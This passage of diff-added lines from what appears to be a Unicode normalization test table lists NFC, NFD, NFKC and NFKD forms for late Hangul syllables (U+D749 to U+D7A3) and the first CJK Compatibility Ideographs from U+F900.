+{ source: [0xD749], NFC: [0xD749], NFD: [0x1112, 0x1172, 0x11BC], NFKC: [0xD749], NFKD: [0x1112, 0x1172, 0x11BC] },
+{ source: [0xD74A], NFC: [0xD74A], NFD: [0x1112, 0x1172, 0x11BD], NFKC: [0xD74A], NFKD: [0x1112, 0x1172, 0x11BD] },
+{ source: [0xD74B], NFC: [0xD74B], NFD: [0x1112, 0x1172, 0x11BE], NFKC: [0xD74B], NFKD: [0x1112, 0x1172, 0x11BE] },
+{ source: [0xD74C], NFC: [0xD74C], NFD: [0x1112, 0x1172, 0x11BF], NFKC: [0xD74C], NFKD: [0x1112, 0x1172, 0x11BF] },
+{ source: [0xD74D], NFC: [0xD74D], NFD: [0x1112, 0x1172, 0x11C0], NFKC: [0xD74D], NFKD: [0x1112, 0x1172, 0x11C0] },
+{ source: [0xD74E], NFC: [0xD74E], NFD: [0x1112, 0x1172, 0x11C1], NFKC: [0xD74E], NFKD: [0x1112, 0x1172, 0x11C1] },
+{ source: [0xD74F], NFC: [0xD74F], NFD: [0x1112, 0x1172, 0x11C2], NFKC: [0xD74F], NFKD: [0x1112, 0x1172, 0x11C2] },
+{ source: [0xD750], NFC: [0xD750], NFD: [0x1112, 0x1173], NFKC: [0xD750], NFKD: [0x1112, 0x1173] },
+{ source: [0xD751], NFC: [0xD751], NFD: [0x1112, 0x1173, 0x11A8], NFKC: [0xD751], NFKD: [0x1112, 0x1173, 0x11A8] },
+{ source: [0xD752], NFC: [0xD752], NFD: [0x1112, 0x1173, 0x11A9], NFKC: [0xD752], NFKD: [0x1112, 0x1173, 0x11A9] },
+{ source: [0xD753], NFC: [0xD753], NFD: [0x1112, 0x1173, 0x11AA], NFKC: [0xD753], NFKD: [0x1112, 0x1173, 0x11AA] },
+{ source: [0xD754], NFC: [0xD754], NFD: [0x1112, 0x1173, 0x11AB], NFKC: [0xD754], NFKD: [0x1112, 0x1173, 0x11AB] },
+{ source: [0xD755], NFC: [0xD755], NFD: [0x1112, 0x1173, 0x11AC], NFKC: [0xD755], NFKD: [0x1112, 0x1173, 0x11AC] },
+{ source: [0xD756], NFC: [0xD756], NFD: [0x1112, 0x1173, 0x11AD], NFKC: [0xD756], NFKD: [0x1112, 0x1173, 0x11AD] },
+{ source: [0xD757], NFC: [0xD757], NFD: [0x1112, 0x1173, 0x11AE], NFKC: [0xD757], NFKD: [0x1112, 0x1173, 0x11AE] },
+{ source: [0xD758], NFC: [0xD758], NFD: [0x1112, 0x1173, 0x11AF], NFKC: [0xD758], NFKD: [0x1112, 0x1173, 0x11AF] },
+{ source: [0xD759], NFC: [0xD759], NFD: [0x1112, 0x1173, 0x11B0], NFKC: [0xD759], NFKD: [0x1112, 0x1173, 0x11B0] },
+{ source: [0xD75A], NFC: [0xD75A], NFD: [0x1112, 0x1173, 0x11B1], NFKC: [0xD75A], NFKD: [0x1112, 0x1173, 0x11B1] },
+{ source: [0xD75B], NFC: [0xD75B], NFD: [0x1112, 0x1173, 0x11B2], NFKC: [0xD75B], NFKD: [0x1112, 0x1173, 0x11B2] },
+{ source: [0xD75C], NFC: [0xD75C], NFD: [0x1112, 0x1173, 0x11B3], NFKC: [0xD75C], NFKD: [0x1112, 0x1173, 0x11B3] },
+{ source: [0xD75D], NFC: [0xD75D], NFD: [0x1112, 0x1173, 0x11B4], NFKC: [0xD75D], NFKD: [0x1112, 0x1173, 0x11B4] },
+{ source: [0xD75E], NFC: [0xD75E], NFD: [0x1112, 0x1173, 0x11B5], NFKC: [0xD75E], NFKD: [0x1112, 0x1173, 0x11B5] },
+{ source: [0xD75F], NFC: [0xD75F], NFD: [0x1112, 0x1173, 0x11B6], NFKC: [0xD75F], NFKD: [0x1112, 0x1173, 0x11B6] },
+{ source: [0xD760], NFC: [0xD760], NFD: [0x1112, 0x1173, 0x11B7], NFKC: [0xD760], NFKD: [0x1112, 0x1173, 0x11B7] },
+{ source: [0xD761], NFC: [0xD761], NFD: [0x1112, 0x1173, 0x11B8], NFKC: [0xD761], NFKD: [0x1112, 0x1173, 0x11B8] },
+{ source: [0xD762], NFC: [0xD762], NFD: [0x1112, 0x1173, 0x11B9], NFKC: [0xD762], NFKD: [0x1112, 0x1173, 0x11B9] },
+{ source: [0xD763], NFC: [0xD763], NFD: [0x1112, 0x1173, 0x11BA], NFKC: [0xD763], NFKD: [0x1112, 0x1173, 0x11BA] },
+{ source: [0xD764], NFC: [0xD764], NFD: [0x1112, 0x1173, 0x11BB], NFKC: [0xD764], NFKD: [0x1112, 0x1173, 0x11BB] },
+{ source: [0xD765], NFC: [0xD765], NFD: [0x1112, 0x1173, 0x11BC], NFKC: [0xD765], NFKD: [0x1112, 0x1173, 0x11BC] },
+{ source: [0xD766], NFC: [0xD766], NFD: [0x1112, 0x1173, 0x11BD], NFKC: [0xD766], NFKD: [0x1112, 0x1173, 0x11BD] },
+{ source: [0xD767], NFC: [0xD767], NFD: [0x1112, 0x1173, 0x11BE], NFKC: [0xD767], NFKD: [0x1112, 0x1173, 0x11BE] },
+{ source: [0xD768], NFC: [0xD768], NFD: [0x1112, 0x1173, 0x11BF], NFKC: [0xD768], NFKD: [0x1112, 0x1173, 0x11BF] },
+{ source: [0xD769], NFC: [0xD769], NFD: [0x1112, 0x1173, 0x11C0], NFKC: [0xD769], NFKD: [0x1112, 0x1173, 0x11C0] },
+{ source: [0xD76A], NFC: [0xD76A], NFD: [0x1112, 0x1173, 0x11C1], NFKC: [0xD76A], NFKD: [0x1112, 0x1173, 0x11C1] },
+{ source: [0xD76B], NFC: [0xD76B], NFD: [0x1112, 0x1173, 0x11C2], NFKC: [0xD76B], NFKD: [0x1112, 0x1173, 0x11C2] },
+{ source: [0xD76C], NFC: [0xD76C], NFD: [0x1112, 0x1174], NFKC: [0xD76C], NFKD: [0x1112, 0x1174] },
+{ source: [0xD76D], NFC: [0xD76D], NFD: [0x1112, 0x1174, 0x11A8], NFKC: [0xD76D], NFKD: [0x1112, 0x1174, 0x11A8] },
+{ source: [0xD76E], NFC: [0xD76E], NFD: [0x1112, 0x1174, 0x11A9], NFKC: [0xD76E], NFKD: [0x1112, 0x1174, 0x11A9] },
+{ source: [0xD76F], NFC: [0xD76F], NFD: [0x1112, 0x1174, 0x11AA], NFKC: [0xD76F], NFKD: [0x1112, 0x1174, 0x11AA] },
+{ source: [0xD770], NFC: [0xD770], NFD: [0x1112, 0x1174, 0x11AB], NFKC: [0xD770], NFKD: [0x1112, 0x1174, 0x11AB] },
+{ source: [0xD771], NFC: [0xD771], NFD: [0x1112, 0x1174, 0x11AC], NFKC: [0xD771], NFKD: [0x1112, 0x1174, 0x11AC] },
+{ source: [0xD772], NFC: [0xD772], NFD: [0x1112, 0x1174, 0x11AD], NFKC: [0xD772], NFKD: [0x1112, 0x1174, 0x11AD] },
+{ source: [0xD773], NFC: [0xD773], NFD: [0x1112, 0x1174, 0x11AE], NFKC: [0xD773], NFKD: [0x1112, 0x1174, 0x11AE] },
+{ source: [0xD774], NFC: [0xD774], NFD: [0x1112, 0x1174, 0x11AF], NFKC: [0xD774], NFKD: [0x1112, 0x1174, 0x11AF] },
+{ source: [0xD775], NFC: [0xD775], NFD: [0x1112, 0x1174, 0x11B0], NFKC: [0xD775], NFKD: [0x1112, 0x1174, 0x11B0] },
+{ source: [0xD776], NFC: [0xD776], NFD: [0x1112, 0x1174, 0x11B1], NFKC: [0xD776], NFKD: [0x1112, 0x1174, 0x11B1] },
+{ source: [0xD777], NFC: [0xD777], NFD: [0x1112, 0x1174, 0x11B2], NFKC: [0xD777], NFKD: [0x1112, 0x1174, 0x11B2] },
+{ source: [0xD778], NFC: [0xD778], NFD: [0x1112, 0x1174, 0x11B3], NFKC: [0xD778], NFKD: [0x1112, 0x1174, 0x11B3] },
+{ source: [0xD779], NFC: [0xD779], NFD: [0x1112, 0x1174, 0x11B4], NFKC: [0xD779], NFKD: [0x1112, 0x1174, 0x11B4] },
+{ source: [0xD77A], NFC: [0xD77A], NFD: [0x1112, 0x1174, 0x11B5], NFKC: [0xD77A], NFKD: [0x1112, 0x1174, 0x11B5] },
+{ source: [0xD77B], NFC: [0xD77B], NFD: [0x1112, 0x1174, 0x11B6], NFKC: [0xD77B], NFKD: [0x1112, 0x1174, 0x11B6] },
+{ source: [0xD77C], NFC: [0xD77C], NFD: [0x1112, 0x1174, 0x11B7], NFKC: [0xD77C], NFKD: [0x1112, 0x1174, 0x11B7] },
+{ source: [0xD77D], NFC: [0xD77D], NFD: [0x1112, 0x1174, 0x11B8], NFKC: [0xD77D], NFKD: [0x1112, 0x1174, 0x11B8] },
+{ source: [0xD77E], NFC: [0xD77E], NFD: [0x1112, 0x1174, 0x11B9], NFKC: [0xD77E], NFKD: [0x1112, 0x1174, 0x11B9] },
+{ source: [0xD77F], NFC: [0xD77F], NFD: [0x1112, 0x1174, 0x11BA], NFKC: [0xD77F], NFKD: [0x1112, 0x1174, 0x11BA] },
+{ source: [0xD780], NFC: [0xD780], NFD: [0x1112, 0x1174, 0x11BB], NFKC: [0xD780], NFKD: [0x1112, 0x1174, 0x11BB] },
+{ source: [0xD781], NFC: [0xD781], NFD: [0x1112, 0x1174, 0x11BC], NFKC: [0xD781], NFKD: [0x1112, 0x1174, 0x11BC] },
+{ source: [0xD782], NFC: [0xD782], NFD: [0x1112, 0x1174, 0x11BD], NFKC: [0xD782], NFKD: [0x1112, 0x1174, 0x11BD] },
+{ source: [0xD783], NFC: [0xD783], NFD: [0x1112, 0x1174, 0x11BE], NFKC: [0xD783], NFKD: [0x1112, 0x1174, 0x11BE] },
+{ source: [0xD784], NFC: [0xD784], NFD: [0x1112, 0x1174, 0x11BF], NFKC: [0xD784], NFKD: [0x1112, 0x1174, 0x11BF] },
+{ source: [0xD785], NFC: [0xD785], NFD: [0x1112, 0x1174, 0x11C0], NFKC: [0xD785], NFKD: [0x1112, 0x1174, 0x11C0] },
+{ source: [0xD786], NFC: [0xD786], NFD: [0x1112, 0x1174, 0x11C1], NFKC: [0xD786], NFKD: [0x1112, 0x1174, 0x11C1] },
+{ source: [0xD787], NFC: [0xD787], NFD: [0x1112, 0x1174, 0x11C2], NFKC: [0xD787], NFKD: [0x1112, 0x1174, 0x11C2] },
+{ source: [0xD788], NFC: [0xD788], NFD: [0x1112, 0x1175], NFKC: [0xD788], NFKD: [0x1112, 0x1175] },
+{ source: [0xD789], NFC: [0xD789], NFD: [0x1112, 0x1175, 0x11A8], NFKC: [0xD789], NFKD: [0x1112, 0x1175, 0x11A8] },
+{ source: [0xD78A], NFC: [0xD78A], NFD: [0x1112, 0x1175, 0x11A9], NFKC: [0xD78A], NFKD: [0x1112, 0x1175, 0x11A9] },
+{ source: [0xD78B], NFC: [0xD78B], NFD: [0x1112, 0x1175, 0x11AA], NFKC: [0xD78B], NFKD: [0x1112, 0x1175, 0x11AA] },
+{ source: [0xD78C], NFC: [0xD78C], NFD: [0x1112, 0x1175, 0x11AB], NFKC: [0xD78C], NFKD: [0x1112, 0x1175, 0x11AB] },
+{ source: [0xD78D], NFC: [0xD78D], NFD: [0x1112, 0x1175, 0x11AC], NFKC: [0xD78D], NFKD: [0x1112, 0x1175, 0x11AC] },
+{ source: [0xD78E], NFC: [0xD78E], NFD: [0x1112, 0x1175, 0x11AD], NFKC: [0xD78E], NFKD: [0x1112, 0x1175, 0x11AD] },
+{ source: [0xD78F], NFC: [0xD78F], NFD: [0x1112, 0x1175, 0x11AE], NFKC: [0xD78F], NFKD: [0x1112, 0x1175, 0x11AE] },
+{ source: [0xD790], NFC: [0xD790], NFD: [0x1112, 0x1175, 0x11AF], NFKC: [0xD790], NFKD: [0x1112, 0x1175, 0x11AF] },
+{ source: [0xD791], NFC: [0xD791], NFD: [0x1112, 0x1175, 0x11B0], NFKC: [0xD791], NFKD: [0x1112, 0x1175, 0x11B0] },
+{ source: [0xD792], NFC: [0xD792], NFD: [0x1112, 0x1175, 0x11B1], NFKC: [0xD792], NFKD: [0x1112, 0x1175, 0x11B1] },
+{ source: [0xD793], NFC: [0xD793], NFD: [0x1112, 0x1175, 0x11B2], NFKC: [0xD793], NFKD: [0x1112, 0x1175, 0x11B2] },
+{ source: [0xD794], NFC: [0xD794], NFD: [0x1112, 0x1175, 0x11B3], NFKC: [0xD794], NFKD: [0x1112, 0x1175, 0x11B3] },
+{ source: [0xD795], NFC: [0xD795], NFD: [0x1112, 0x1175, 0x11B4], NFKC: [0xD795], NFKD: [0x1112, 0x1175, 0x11B4] },
+{ source: [0xD796], NFC: [0xD796], NFD: [0x1112, 0x1175, 0x11B5], NFKC: [0xD796], NFKD: [0x1112, 0x1175, 0x11B5] },
+{ source: [0xD797], NFC: [0xD797], NFD: [0x1112, 0x1175, 0x11B6], NFKC: [0xD797], NFKD: [0x1112, 0x1175, 0x11B6] },
+{ source: [0xD798], NFC: [0xD798], NFD: [0x1112, 0x1175, 0x11B7], NFKC: [0xD798], NFKD: [0x1112, 0x1175, 0x11B7] },
+{ source: [0xD799], NFC: [0xD799], NFD: [0x1112, 0x1175, 0x11B8], NFKC: [0xD799], NFKD: [0x1112, 0x1175, 0x11B8] },
+{ source: [0xD79A], NFC: [0xD79A], NFD: [0x1112, 0x1175, 0x11B9], NFKC: [0xD79A], NFKD: [0x1112, 0x1175, 0x11B9] },
+{ source: [0xD79B], NFC: [0xD79B], NFD: [0x1112, 0x1175, 0x11BA], NFKC: [0xD79B], NFKD: [0x1112, 0x1175, 0x11BA] },
+{ source: [0xD79C], NFC: [0xD79C], NFD: [0x1112, 0x1175, 0x11BB], NFKC: [0xD79C], NFKD: [0x1112, 0x1175, 0x11BB] },
+{ source: [0xD79D], NFC: [0xD79D], NFD: [0x1112, 0x1175, 0x11BC], NFKC: [0xD79D], NFKD: [0x1112, 0x1175, 0x11BC] },
+{ source: [0xD79E], NFC: [0xD79E], NFD: [0x1112, 0x1175, 0x11BD], NFKC: [0xD79E], NFKD: [0x1112, 0x1175, 0x11BD] },
+{ source: [0xD79F], NFC: [0xD79F], NFD: [0x1112, 0x1175, 0x11BE], NFKC: [0xD79F], NFKD: [0x1112, 0x1175, 0x11BE] },
+{ source: [0xD7A0], NFC: [0xD7A0], NFD: [0x1112, 0x1175, 0x11BF], NFKC: [0xD7A0], NFKD: [0x1112, 0x1175, 0x11BF] },
+{ source: [0xD7A1], NFC: [0xD7A1], NFD: [0x1112, 0x1175, 0x11C0], NFKC: [0xD7A1], NFKD: [0x1112, 0x1175, 0x11C0] },
+{ source: [0xD7A2], NFC: [0xD7A2], NFD: [0x1112, 0x1175, 0x11C1], NFKC: [0xD7A2], NFKD: [0x1112, 0x1175, 0x11C1] },
+{ source: [0xD7A3], NFC: [0xD7A3], NFD: [0x1112, 0x1175, 0x11C2], NFKC: [0xD7A3], NFKD: [0x1112, 0x1175, 0x11C2] },
+{ source: [0xF900], NFC: [0x8C48], NFD: [0x8C48], NFKC: [0x8C48], NFKD: [0x8C48] },
+{ source: [0xF901], NFC: [0x66F4], NFD: [0x66F4], NFKC: [0x66F4], NFKD: [0x66F4] },
+{ source: [0xF902], NFC: [0x8ECA], NFD: [0x8ECA], NFKC: [0x8ECA], NFKD: [0x8ECA] },
+{ source: [0xF903], NFC: [0x8CC8], NFD: [0x8CC8], NFKC: [0x8CC8], NFKD: [0x8CC8] },
+{ source: [0xF904], NFC: [0x6ED1], NFD: [0x6ED1], NFKC: [0x6ED1], NFKD: [0x6ED1] },
+{ source: [0xF905], NFC: [0x4E32], NFD: [0x4E32], NFKC: [0x4E32], NFKD: [0x4E32] },
+{ source: [0xF906], NFC: [0x53E5], NFD: [0x53E5], NFKC: [0x53E5], NFKD: [0x53E5] },
+{ source: [0xF907], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xF908], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xF909], NFC: [0x5951], NFD: [0x5951], NFKC: [0x5951], NFKD: [0x5951] },
+{ source: [0xF90A], NFC: [0x91D1], NFD: [0x91D1], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0xF90B], NFC: [0x5587], NFD: [0x5587], NFKC: [0x5587], NFKD: [0x5587] },
+{ source: [0xF90C], NFC: [0x5948], NFD: [0x5948], NFKC: [0x5948], NFKD: [0x5948] },
+{ source: [0xF90D], NFC: [0x61F6], NFD: [0x61F6], NFKC: [0x61F6], NFKD: [0x61F6] },
+{ source: [0xF90E], NFC: [0x7669], NFD: [0x7669], NFKC: [0x7669], NFKD: [0x7669] },
+{ source: [0xF90F], NFC: [0x7F85], NFD: [0x7F85], NFKC: [0x7F85], NFKD: [0x7F85] },
+{ source: [0xF910], NFC: [0x863F], NFD: [0x863F], NFKC: [0x863F], NFKD: [0x863F] },
+{ source: [0xF911], NFC: [0x87BA], NFD: [0x87BA], NFKC: [0x87BA], NFKD: [0x87BA] },
+{ source: [0xF912], NFC: [0x88F8], NFD: [0x88F8], NFKC: [0x88F8], NFKD: [0x88F8] },
+{ source: [0xF913], NFC: [0x908F], NFD: [0x908F], NFKC: [0x908F], NFKD: [0x908F] },
+{ source: [0xF914], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF915], NFC: [0x6D1B], NFD: [0x6D1B], NFKC: [0x6D1B], NFKD: [0x6D1B] },
+{ source: [0xF916], NFC: [0x70D9], NFD: [0x70D9], NFKC: [0x70D9], NFKD: [0x70D9] },
+{ source: [0xF917], NFC: [0x73DE], NFD: [0x73DE], NFKC: [0x73DE], NFKD: [0x73DE] },
+{ source: [0xF918], NFC: [0x843D], NFD: [0x843D], NFKC: [0x843D], NFKD: [0x843D] },
+{ source: [0xF919], NFC: [0x916A], NFD: [0x916A], NFKC: [0x916A], NFKD: [0x916A] },
+{ source: [0xF91A], NFC: [0x99F1], NFD: [0x99F1], NFKC: [0x99F1], NFKD: [0x99F1] },
+{ source: [0xF91B], NFC: [0x4E82], NFD: [0x4E82], NFKC: [0x4E82], NFKD: [0x4E82] },
+{ source: [0xF91C], NFC: [0x5375], NFD: [0x5375], NFKC: [0x5375], NFKD: [0x5375] },
+{ source: [0xF91D], NFC: [0x6B04], NFD: [0x6B04], NFKC: [0x6B04], NFKD: [0x6B04] },
+{ source: [0xF91E], NFC: [0x721B], NFD: [0x721B], NFKC: [0x721B], NFKD: [0x721B] },
+{ source: [0xF91F], NFC: [0x862D], NFD: [0x862D], NFKC: [0x862D], NFKD: [0x862D] },
+{ source: [0xF920], NFC: [0x9E1E], NFD: [0x9E1E], NFKC: [0x9E1E], NFKD: [0x9E1E] },
+{ source: [0xF921], NFC: [0x5D50], NFD: [0x5D50], NFKC: [0x5D50], NFKD: [0x5D50] },
+{ source: [0xF922], NFC: [0x6FEB], NFD: [0x6FEB], NFKC: [0x6FEB], NFKD: [0x6FEB] },
+{ source: [0xF923], NFC: [0x85CD], NFD: [0x85CD], NFKC: [0x85CD], NFKD: [0x85CD] },
+{ source: [0xF924], NFC: [0x8964], NFD: [0x8964], NFKC: [0x8964], NFKD: [0x8964] },
+{ source: [0xF925], NFC: [0x62C9], NFD: [0x62C9], NFKC: [0x62C9], NFKD: [0x62C9] },
+{ source: [0xF926], NFC: [0x81D8], NFD: [0x81D8], NFKC: [0x81D8], NFKD: [0x81D8] },
+{ source: [0xF927], NFC: [0x881F], NFD: [0x881F], NFKC: [0x881F], NFKD: [0x881F] },
+{ source: [0xF928], NFC: [0x5ECA], NFD: [0x5ECA], NFKC: [0x5ECA], NFKD: [0x5ECA] },
+{ source: [0xF929], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0xF92A], NFC: [0x6D6A], NFD: [0x6D6A], NFKC: [0x6D6A], NFKD: [0x6D6A] },
+{ source: [0xF92B], NFC: [0x72FC], NFD: [0x72FC], NFKC: [0x72FC], NFKD: [0x72FC] },
+{ source: [0xF92C], NFC: [0x90CE], NFD: [0x90CE], NFKC: [0x90CE], NFKD: [0x90CE] },
+{ source: [0xF92D], NFC: [0x4F86], NFD: [0x4F86], NFKC: [0x4F86], NFKD: [0x4F86] },
+{ source: [0xF92E], NFC: [0x51B7], NFD: [0x51B7], NFKC: [0x51B7], NFKD: [0x51B7] },
+{ source: [0xF92F], NFC: [0x52DE], NFD: [0x52DE], NFKC: [0x52DE], NFKD: [0x52DE] },
+{ source: [0xF930], NFC: [0x64C4], NFD: [0x64C4], NFKC: [0x64C4], NFKD: [0x64C4] },
+{ source: [0xF931], NFC: [0x6AD3], NFD: [0x6AD3], NFKC: [0x6AD3], NFKD: [0x6AD3] },
+{ source: [0xF932], NFC: [0x7210], NFD: [0x7210], NFKC: [0x7210], NFKD: [0x7210] },
+{ source: [0xF933], NFC: [0x76E7], NFD: [0x76E7], NFKC: [0x76E7], NFKD: [0x76E7] },
+{ source: [0xF934], NFC: [0x8001], NFD: [0x8001], NFKC: [0x8001], NFKD: [0x8001] },
+{ source: [0xF935], NFC: [0x8606], NFD: [0x8606], NFKC: [0x8606], NFKD: [0x8606] },
+{ source: [0xF936], NFC: [0x865C], NFD: [0x865C], NFKC: [0x865C], NFKD: [0x865C] },
+{ source: [0xF937], NFC: [0x8DEF], NFD: [0x8DEF], NFKC: [0x8DEF], NFKD: [0x8DEF] },
+{ source: [0xF938], NFC: [0x9732], NFD: [0x9732], NFKC: [0x9732], NFKD: [0x9732] },
+{ source: [0xF939], NFC: [0x9B6F], NFD: [0x9B6F], NFKC: [0x9B6F], NFKD: [0x9B6F] },
+{ source: [0xF93A], NFC: [0x9DFA], NFD: [0x9DFA], NFKC: [0x9DFA], NFKD: [0x9DFA] },
+{ source: [0xF93B], NFC: [0x788C], NFD: [0x788C], NFKC: [0x788C], NFKD: [0x788C] },
+{ source: [0xF93C], NFC: [0x797F], NFD: [0x797F], NFKC: [0x797F], NFKD: [0x797F] },
+{ source: [0xF93D], NFC: [0x7DA0], NFD: [0x7DA0], NFKC: [0x7DA0], NFKD: [0x7DA0] },
+{ source: [0xF93E], NFC: [0x83C9], NFD: [0x83C9], NFKC: [0x83C9], NFKD: [0x83C9] },
+{ source: [0xF93F], NFC: [0x9304], NFD: [0x9304], NFKC: [0x9304], NFKD: [0x9304] },
+{ source: [0xF940], NFC: [0x9E7F], NFD: [0x9E7F], NFKC: [0x9E7F], NFKD: [0x9E7F] },
+{ source: [0xF941], NFC: [0x8AD6], NFD: [0x8AD6], NFKC: [0x8AD6], NFKD: [0x8AD6] },
+{ source: [0xF942], NFC: [0x58DF], NFD: [0x58DF], NFKC: [0x58DF], NFKD: [0x58DF] },
+{ source: [0xF943], NFC: [0x5F04], NFD: [0x5F04], NFKC: [0x5F04], NFKD: [0x5F04] },
+{ source: [0xF944], NFC: [0x7C60], NFD: [0x7C60], NFKC: [0x7C60], NFKD: [0x7C60] },
+{ source: [0xF945], NFC: [0x807E], NFD: [0x807E], NFKC: [0x807E], NFKD: [0x807E] },
+{ source: [0xF946], NFC: [0x7262], NFD: [0x7262], NFKC: [0x7262], NFKD: [0x7262] },
+{ source: [0xF947], NFC: [0x78CA], NFD: [0x78CA], NFKC: [0x78CA], NFKD: [0x78CA] },
+{ source: [0xF948], NFC: [0x8CC2], NFD: [0x8CC2], NFKC: [0x8CC2], NFKD: [0x8CC2] },
+{ source: [0xF949], NFC: [0x96F7], NFD: [0x96F7], NFKC: [0x96F7], NFKD: [0x96F7] },
+{ source: [0xF94A], NFC: [0x58D8], NFD: [0x58D8], NFKC: [0x58D8], NFKD: [0x58D8] },
+{ source: [0xF94B], NFC: [0x5C62], NFD: [0x5C62], NFKC: [0x5C62], NFKD: [0x5C62] },
+{ source: [0xF94C], NFC: [0x6A13], NFD: [0x6A13], NFKC: [0x6A13], NFKD: [0x6A13] },
+{ source: [0xF94D], NFC: [0x6DDA], NFD: [0x6DDA], NFKC: [0x6DDA], NFKD: [0x6DDA] },
+{ source: [0xF94E], NFC: [0x6F0F], NFD: [0x6F0F], NFKC: [0x6F0F], NFKD: [0x6F0F] },
+{ source: [0xF94F], NFC: [0x7D2F], NFD: [0x7D2F], NFKC: [0x7D2F], NFKD: [0x7D2F] },
+{ source: [0xF950], NFC: [0x7E37], NFD: [0x7E37], NFKC: [0x7E37], NFKD: [0x7E37] },
+{ source: [0xF951], NFC: [0x964B], NFD: [0x964B], NFKC: [0x964B], NFKD: [0x964B] },
+{ source: [0xF952], NFC: [0x52D2], NFD: [0x52D2], NFKC: [0x52D2], NFKD: [0x52D2] },
+{ source: [0xF953], NFC: [0x808B], NFD: [0x808B], NFKC: [0x808B], NFKD: [0x808B] },
+{ source: [0xF954], NFC: [0x51DC], NFD: [0x51DC], NFKC: [0x51DC], NFKD: [0x51DC] },
+{ source: [0xF955], NFC: [0x51CC], NFD: [0x51CC], NFKC: [0x51CC], NFKD: [0x51CC] },
+{ source: [0xF956], NFC: [0x7A1C], NFD: [0x7A1C], NFKC: [0x7A1C], NFKD: [0x7A1C] },
+{ source: [0xF957], NFC: [0x7DBE], NFD: [0x7DBE], NFKC: [0x7DBE], NFKD: [0x7DBE] },
+{ source: [0xF958], NFC: [0x83F1], NFD: [0x83F1], NFKC: [0x83F1], NFKD: [0x83F1] },
+{ source: [0xF959], NFC: [0x9675], NFD: [0x9675], NFKC: [0x9675], NFKD: [0x9675] },
+{ source: [0xF95A], NFC: [0x8B80], NFD: [0x8B80], NFKC: [0x8B80], NFKD: [0x8B80] },
+{ source: [0xF95B], NFC: [0x62CF], NFD: [0x62CF], NFKC: [0x62CF], NFKD: [0x62CF] },
+{ source: [0xF95C], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF95D], NFC: [0x8AFE], NFD: [0x8AFE], NFKC: [0x8AFE], NFKD: [0x8AFE] },
+{ source: [0xF95E], NFC: [0x4E39], NFD: [0x4E39], NFKC: [0x4E39], NFKD: [0x4E39] },
+{ source: [0xF95F], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0xF960], NFC: [0x6012], NFD: [0x6012], NFKC: [0x6012], NFKD: [0x6012] },
+{ source: [0xF961], NFC: [0x7387], NFD: [0x7387], NFKC: [0x7387], NFKD: [0x7387] },
+{ source: [0xF962], NFC: [0x7570], NFD: [0x7570], NFKC: [0x7570], NFKD: [0x7570] },
+{ source: [0xF963], NFC: [0x5317], NFD: [0x5317], NFKC: [0x5317], NFKD: [0x5317] },
+{ source: [0xF964], NFC: [0x78FB], NFD: [0x78FB], NFKC: [0x78FB], NFKD: [0x78FB] },
+{ source: [0xF965], NFC: [0x4FBF], NFD: [0x4FBF], NFKC: [0x4FBF], NFKD: [0x4FBF] },
+{ source: [0xF966], NFC: [0x5FA9], NFD: [0x5FA9], NFKC: [0x5FA9], NFKD: [0x5FA9] },
+{ source: [0xF967], NFC: [0x4E0D], NFD: [0x4E0D], NFKC: [0x4E0D], NFKD: [0x4E0D] },
+{ source: [0xF968], NFC: [0x6CCC], NFD: [0x6CCC], NFKC: [0x6CCC], NFKD: [0x6CCC] },
+{ source: [0xF969], NFC: [0x6578], NFD: [0x6578], NFKC: [0x6578], NFKD: [0x6578] },
+{ source: [0xF96A], NFC: [0x7D22], NFD: [0x7D22], NFKC: [0x7D22], NFKD: [0x7D22] },
+{ source: [0xF96B], NFC: [0x53C3], NFD: [0x53C3], NFKC: [0x53C3], NFKD: [0x53C3] },
+{ source: [0xF96C], NFC: [0x585E], NFD: [0x585E], NFKC: [0x585E], NFKD: [0x585E] },
+{ source: [0xF96D], NFC: [0x7701], NFD: [0x7701], NFKC: [0x7701], NFKD: [0x7701] },
+{ source: [0xF96E], NFC: [0x8449], NFD: [0x8449], NFKC: [0x8449], NFKD: [0x8449] },
+{ source: [0xF96F], NFC: [0x8AAA], NFD: [0x8AAA], NFKC: [0x8AAA], NFKD: [0x8AAA] },
+{ source: [0xF970], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0xF971], NFC: [0x8FB0], NFD: [0x8FB0], NFKC: [0x8FB0], NFKD: [0x8FB0] },
+{ source: [0xF972], NFC: [0x6C88], NFD: [0x6C88], NFKC: [0x6C88], NFKD: [0x6C88] },
+{ source: [0xF973], NFC: [0x62FE], NFD: [0x62FE], NFKC: [0x62FE], NFKD: [0x62FE] },
+{ source: [0xF974], NFC: [0x82E5], NFD: [0x82E5], NFKC: [0x82E5], NFKD: [0x82E5] },
+{ source: [0xF975], NFC: [0x63A0], NFD: [0x63A0], NFKC: [0x63A0], NFKD: [0x63A0] },
+{ source: [0xF976], NFC: [0x7565], NFD: [0x7565], NFKC: [0x7565], NFKD: [0x7565] },
+{ source: [0xF977], NFC: [0x4EAE], NFD: [0x4EAE], NFKC: [0x4EAE], NFKD: [0x4EAE] },
+{ source: [0xF978], NFC: [0x5169], NFD: [0x5169], NFKC: [0x5169], NFKD: [0x5169] },
+{ source: [0xF979], NFC: [0x51C9], NFD: [0x51C9], NFKC: [0x51C9], NFKD: [0x51C9] },
+{ source: [0xF97A], NFC: [0x6881], NFD: [0x6881], NFKC: [0x6881], NFKD: [0x6881] },
+{ source: [0xF97B], NFC: [0x7CE7], NFD: [0x7CE7], NFKC: [0x7CE7], NFKD: [0x7CE7] },
+{ source: [0xF97C], NFC: [0x826F], NFD: [0x826F], NFKC: [0x826F], NFKD: [0x826F] },
+{ source: [0xF97D], NFC: [0x8AD2], NFD: [0x8AD2], NFKC: [0x8AD2], NFKD: [0x8AD2] },
+{ source: [0xF97E], NFC: [0x91CF], NFD: [0x91CF], NFKC: [0x91CF], NFKD: [0x91CF] },
